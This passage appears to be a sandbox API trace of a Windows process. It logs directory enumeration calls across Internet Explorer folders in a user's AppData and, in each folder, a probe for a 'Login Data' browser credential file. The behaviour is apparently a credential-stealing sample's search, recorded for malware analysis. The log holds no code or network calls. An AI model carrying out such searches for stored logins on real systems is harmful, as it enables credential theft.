[0201.115] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x8cd0fdbe, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8cd0fdbe, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.115] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8cd0fdbe, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x8cd0fdbe, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8cd98945, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="consent.google[1].xml", cAlternateFileName="CONSEN~1.XML")) returned 1 [0201.115] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8cd0fdbe, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x8cd0fdbe, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8cd98945, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="consent.google[1].xml", cAlternateFileName="CONSEN~1.XML")) returned 0 [0201.115] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0201.115] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\JW094SOV\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.116] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\KHCDOJTQ\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45e6c6af, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b038 [0201.116] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45e6c6af, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.116] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0xacef60c2, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1 [0201.116] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0xacef60c2, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 0 [0201.116] FindClose (in: hFindFile=0x139b038 | out: hFindFile=0x139b038) returned 1 [0201.116] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\KHCDOJTQ\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.116] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\ROM18SK9\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x59b69c63, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b1f8 [0201.117] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x59b69c63, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.117] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59b69c63, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x59b69c63, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x8f5906b9, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="www.microsoft[1].xml", cAlternateFileName="WWWMIC~1.XML")) returned 1 [0201.117] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59b69c63, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x59b69c63, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x8f5906b9, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="www.microsoft[1].xml", cAlternateFileName="WWWMIC~1.XML")) returned 0 [0201.117] FindClose (in: hFindFile=0x139b1f8 | out: hFindFile=0x139b1f8) returned 1 [0201.117] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\ROM18SK9\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.117] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\RZ8OSEEE\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45e6c6af, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0201.117] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45e6c6af, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.118] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45e6c6af, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.118] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0201.118] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\RZ8OSEEE\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.118] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieSiteList\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4446aeac, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x4446aeac, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x4446aeac, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0201.118] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4446aeac, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x4446aeac, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x4446aeac, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.118] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4446aeac, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x4446aeac, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x4446aeac, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0201.118] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4446aeac, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x4446aeac, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x4446aeac, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0201.119] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0201.119] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieSiteList\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.132] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieUserList\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4446aeac, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x4446aeac, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x4446aeac, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0201.132] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4446aeac, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x4446aeac, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x4446aeac, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.132] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4446aeac, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x4446aeac, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x4446aeac, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0201.132] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4446aeac, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x4446aeac, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x4446aeac, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0201.132] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0201.133] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieUserList\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.133] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0201.133] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.133] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcd515a18, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xbea, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompatdata.xml", cAlternateFileName="IECOMP~1.XML")) returned 1 [0201.133] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcd515a18, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xbea, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompatdata.xml", cAlternateFileName="IECOMP~1.XML")) returned 0 [0201.133] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0201.133] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.134] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb1af8a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x447fe759, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x447fe759, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0201.134] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb1af8a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x447fe759, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x447fe759, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.134] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb1af8a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xabb1af8a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabb1af8a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="idyl1t3", cAlternateFileName="")) returned 1 [0201.134] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447fe759, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45933233, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45933233, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="p1nh3xb", cAlternateFileName="")) returned 1 [0201.134] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447fe759, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45933233, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45933233, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="p1nh3xb", cAlternateFileName="")) returned 0 [0201.134] FindClose (in: hFindFile=0x139af38 | out: hFindFile=0x139af38) returned 1 [0201.134] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.135] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore\\idyl1t3\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb1af8a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xabb1af8a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabb1af8a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0201.135] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb1af8a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xabb1af8a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabb1af8a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.135] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb1af8a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xabb1af8a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabb1af8a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.135] FindClose (in: hFindFile=0x139af38 | out: hFindFile=0x139af38) returned 1 [0201.135] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore\\idyl1t3\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.136] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore\\p1nh3xb\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447fe759, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45933233, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45933233, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0201.136] FindNextFileW (in: 